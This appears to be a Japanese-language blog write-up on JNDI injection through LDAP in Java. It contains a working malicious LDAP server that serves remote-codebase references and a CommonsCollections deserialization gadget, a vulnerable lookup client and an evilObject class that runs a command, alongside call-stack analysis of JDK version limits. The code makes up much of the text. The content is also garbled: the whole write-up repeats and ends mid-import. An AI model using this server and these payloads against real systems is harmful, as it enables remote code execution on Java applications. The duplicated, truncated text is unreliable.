import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer{
private static final String LDAP_BASE = "dc=ldap";
public static void main (String[] args) {
String url = "http://127.0.0.1:8080/#evilObject";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP + Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 戻りシリアライズGadget
// try {
// e.addAttribute("javaSerializedData", CC5.getpayload());
// } catch (Exception exception) {
// exception.printStackTrace();
// }
// Payload3: 戻りシリアライズGadget
e.addAttribute("javaClassName", "foo");
try {
e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(CC5.getpayload()));
} catch (Exception ex) {
throw new RuntimeException(ex);
}
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
package LDAP;
import javax.naming.InitialContext;
public class JNDIClient {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1389/test");
}
}
public class evilObject {
public evilObject() throws Exception{
Runtime.getRuntime().exec("open -a Calculator");
}
}
低バージョン jdk の分析#
jdk8u65
最初にプロトコルの違いに基づいて異なるコンテキストを取得し、NamingManager#getURLContext
に入ります。
ResourceManager#getFactory
に入ります。
classSuffix
はプロトコル名に基づいて接続され、次にこのクラスをインスタンス化します。その後、return factory;
が行われます。
その後、ldapURLContextFactory.getObjectInstance
が呼び出され、ldapのコンテキスト(ldapURLContext)
が返されます。
その後、this.getRootURLContext
が呼び出され、var3
はLdapCtx
であり、これにより後続の流れが RMI とは異なることになります。
c_lookup#
lookup を進めると、
LdapCtx#doSearchOnce
がldapにリクエストを送信
し、値を取得します。
その後、サーバーはこの値をclient側
に送信します。
戻ってきた値からattributes
属性を取得します。
javaClassName
が設定されているため、Obj#decodeObject
に入ります。
最後の else に入ります:
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
ここでは、入力 url に基づいてオブジェクト名を取得し、Reference でラップし、LdapCtx#c_lookup に戻ります。
ここで、getObjectInstance()
が呼び出され、その後のロジックは RMI と同じです。
evilObject をインスタンス化して RCE を実行します。
小結#
上記の分析により、ldap と rmi のリモート悪意のあるクラス呼び出しプロセスには違いがあることがわかります。
ldap 呼び出しスタック
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, JNDIClient (LDAP)
rmi 呼び出しスタック
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (RMI)
var8.getFactoryClassLocation()
の検出はrmi
のdecodeObject
内で行われますが、ldapプロトコル
は他の lookup を呼び出し、decodeObject
を呼び出さないため、リモートロードが実行されません。両者のプロトコル呼び出しメカニズムは異なります。
したがって、8u113~8u190
の間、com.sun.jndi.rmi.object.trustURLCodebase
のデフォルト値はfalse
であり、ldap は影響を受けず、リモート悪意のあるクラスを呼び出すことができます。
高バージョン jdk の分析#
8u191 以降、リモートクラスをロードする際にtrustURLCodebase
の判断が追加され、悪意のあるクラスのリモートロードが完全に防止されました。
反序列化#
Obj#decodeObject
内には、反序列化
を行うdeserializeObject()
が存在し、ldapサーバー
から返されたデータが反序列化
されます。利用可能な依存関係があれば、gadget を利用できます。
そのため、JAVA_ATTRIBUTES[1]
、すなわちjavaSerializedData
に値を設定する必要があります。
poc#
package LDAP;
import com.sun.jndi.ldap.LdapCtx;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer{
private static final String LDAP_BASE = "dc=ldap";
public static void main (String[] args) {
String url = "http://127.0.0.1:8080/#evilObject";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用 LDAP + Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 戻りシリアライズGadget
// try {
// e.addAttribute("javaSerializedData", CC5.getpayload());
// } catch (Exception exception) {
// exception.printStackTrace();
// }
// Payload3: 戻りシリアライズGadget
e.addAttribute("javaClassName", "foo");
try {
e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(CC5.getpayload()));
} catch (Exception ex) {
throw new RuntimeException(ex);
}
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
package LDAP;
import javax.naming.InitialContext;
public class JNDIClient {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1389/test");
}
}
public class evilObject {
public evilObject() throws Exception{
Runtime.getRuntime().exec("open -a Calculator");
}
}
低バージョン jdk の分析#
jdk8u65
最初にプロトコルの違いに基づいて異なるコンテキストを取得し、NamingManager#getURLContext
に入ります。
ResourceManager#getFactory
に入ります。
classSuffix
はプロトコル名に基づいて接続され、次にこのクラスをインスタンス化します。その後、return factory;
が行われます。
その後、ldapURLContextFactory.getObjectInstance
が呼び出され、ldapのコンテキスト(ldapURLContext)
が返されます。
その後、this.getRootURLContext
が呼び出され、var3
はLdapCtx
であり、これにより後続の流れが RMI とは異なることになります。
c_lookup#
lookup を進めると、
LdapCtx#doSearchOnce
がldapにリクエストを送信
し、値を取得します。
その後、サーバーはこの値をclient側
に送信します。
戻ってきた値からattributes
属性を取得します。
javaClassName
が設定されているため、Obj#decodeObject
に入ります。
最後の else に入ります:
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
ここでは、入力 url に基づいてオブジェクト名を取得し、Reference でラップし、LdapCtx#c_lookup に戻ります。
ここで、getObjectInstance()
が呼び出され、その後のロジックは RMI と同じです。
evilObject をインスタンス化して RCE を実行します。
小結#
上記の分析により、ldap と rmi のリモート悪意のあるクラス呼び出しプロセスには違いがあることがわかります。
ldap 呼び出しスタック
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, JNDIClient (LDAP)
rmi 呼び出しスタック
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (RMI)
var8.getFactoryClassLocation()
の検出はrmi
のdecodeObject
内で行われますが、ldapプロトコル
は他の lookup を呼び出し、decodeObject
を呼び出さないため、リモートロードが実行されません。両者のプロトコル呼び出しメカニズムは異なります。
したがって、8u113~8u190
の間、com.sun.jndi.rmi.object.trustURLCodebase
のデフォルト値はfalse
であり、ldap は影響を受けず、リモート悪意のあるクラスを呼び出すことができます。
高バージョン jdk の分析#
8u191 以降、リモートクラスをロードする際にtrustURLCodebase
の判断が追加され、悪意のあるクラスのリモートロードが完全に防止されました。
反序列化#
Obj#decodeObject
内には、反序列化
を行うdeserializeObject()
が存在し、ldapサーバー
から返されたデータが反序列化
されます。利用可能な依存関係があれば、gadget を利用できます。
そのため、JAVA_ATTRIBUTES[1]
、すなわちjavaSerializedData
に値を設定する必要があります。
poc#
package LDAP;
import com.sun.jndi.ldap.LdapCtx;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import